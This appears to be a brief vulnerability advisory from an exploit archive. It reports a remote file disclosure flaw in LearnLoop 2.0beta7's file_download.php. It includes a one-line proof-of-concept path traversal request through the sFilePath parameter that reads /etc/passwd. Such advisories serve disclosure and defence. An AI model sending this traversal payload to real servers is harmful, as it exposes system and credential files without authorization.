LearnLoop version 2.0beta7 suffers from a remote file disclosure vulnerability in file_download.php.
5e6cd1e53b99aaa460c0f6ceca7a3dceLearnLoop 2.0beta7 (sFilePath) Remote File Disclosure Vulnerability
http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz
POC : /include/file_download.php?sFilePath=../../../../../../../etc/passwd
Comments
No comments yet, be the first!